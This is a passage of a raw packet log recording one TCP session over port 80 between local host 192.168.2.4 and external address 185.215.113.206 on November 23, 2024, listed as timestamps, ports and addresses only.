Nov 23, 2024 17:44:34.245590925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.245611906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.245623112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.245637894 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.245646000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.245667934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.245712042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.245882988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.246553898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.246598005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.246630907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.246644020 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.246673107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.246728897 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.246830940 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.247421980 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.247442961 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.247453928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.247471094 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.247483969 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.247498035 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.247540951 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.423583984 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.423655987 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.423713923 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.423753977 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.423799992 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.423804045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.423841000 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.423860073 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.423892975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.423902035 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.423928976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.423995018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.424751043 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.424784899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.424851894 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.424854994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.424890995 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.424910069 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.424932957 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.425679922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.425702095 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.425717115 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.425745964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.425779104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.425909042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.425957918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.426671028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.426750898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.426755905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.426769972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.426810980 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.426872015 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.426919937 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.427645922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.427658081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.427670002 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.427683115 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.427697897 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.427730083 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.427761078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.428571939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.428621054 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.428632975 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.428642988 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.428675890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.428675890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.428713083 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.429389000 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.429400921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.429429054 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.429440975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.429455042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.429512978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.429524899 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.429609060 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.430213928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.430238008 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.430249929 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.430278063 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.430305004 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.430326939 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.430387020 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.431154013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.431191921 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.431204081 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.431241989 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.431272984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.431279898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.432065964 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.432076931 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.432122946 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.465953112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.465964079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.466017962 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.466052055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.466098070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.466109037 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.466150045 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.466219902 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.466356039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.467030048 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.467081070 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.467103004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.467114925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.467154980 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.467564106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.467614889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.467622042 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.467628956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.467662096 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.467700005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.467753887 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.467824936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.468514919 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.468565941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.468570948 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.468579054 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.468594074 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.468617916 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.468617916 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.468653917 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.469419956 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.469455004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.469466925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.469515085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.469515085 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.469544888 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.469566107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.470343113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.470381021 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.470391989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.470393896 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.470426083 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.470433950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.470444918 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.470474005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.471256971 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.471329927 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.471329927 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.471343040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.471386909 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.471419096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.471466064 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.472162962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.472212076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.472225904 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.472245932 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.472265005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.472273111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.472304106 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.473094940 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.473114014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.473125935 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.473165989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.473166943 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.473166943 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.473166943 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.473282099 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.474296093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.474315882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.474328041 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.474339962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.474356890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.474395990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.474395990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.475331068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.475388050 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.475394964 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.475408077 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.475445986 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.475536108 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.475595951 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.475872040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.475897074 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.475924015 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.475956917 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.476015091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.476027012 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.476067066 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.476114035 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.476779938 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.476844072 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.476856947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.476886034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.476887941 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.476922989 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.476943970 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.477667093 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.477715969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.477726936 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.477727890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.477765083 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.477765083 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.477802038 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.477847099 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.478611946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.478668928 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.478677034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.478689909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.478719950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.478751898 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.478770018 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.478878975 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.479542017 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.479607105 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.479619026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.479630947 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.479676008 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.479712963 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.480495930 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.480508089 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.480519056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.480554104 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.480586052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.631084919 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.631100893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.631113052 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.631194115 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.631203890 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.631299019 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.631490946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.631567955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.631578922 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.631639004 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.632136106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.632186890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.632200003 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.632234097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.632350922 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.633019924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.633081913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.633085966 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.633094072 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.633116961 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.633245945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.633908033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.633960962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.633972883 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.634027958 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.634061098 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.634107113 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.634905100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.634958982 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.634970903 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.634983063 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.635021925 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.635061026 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.635092974 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.635934114 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.635956049 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.635968924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.636008024 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.636024952 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.636071920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.636071920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.636831045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.636900902 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.636913061 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.636919022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.636976957 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.637629986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.637742996 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.637754917 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.637804985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.637804985 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.637854099 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.638535023 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.638597012 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.638608932 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.638616085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.638691902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.639446020 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.639527082 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.639605045 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.691812992 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.691828012 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.691842079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.691854954 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.691955090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.691955090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.692159891 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.692228079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.692240953 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.692254066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.692300081 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.692332983 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.693195105 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.693240881 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.693252087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.693305969 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.693310976 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.693386078 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.694000006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.694055080 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.694067955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.694118023 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.694148064 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.694188118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.694915056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.694957972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.694967985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.694976091 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.695002079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.695092916 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.695122957 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.695908070 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.695919991 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.695926905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.695976019 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.696007013 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.696041107 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.696783066 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.696850061 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.696882963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.696894884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.696948051 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.697056055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.697417021 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.697721004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.697741032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.697751045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.697839022 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.697843075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.697946072 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.698673964 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.698694944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.698709011 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.698734999 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.698746920 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.698787928 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.698820114 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.699522972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.699569941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.699588060 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:34.699613094 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.699646950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.699676991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:34.699682951 CET	80	49745	185.215.113.206	192.168.2.4
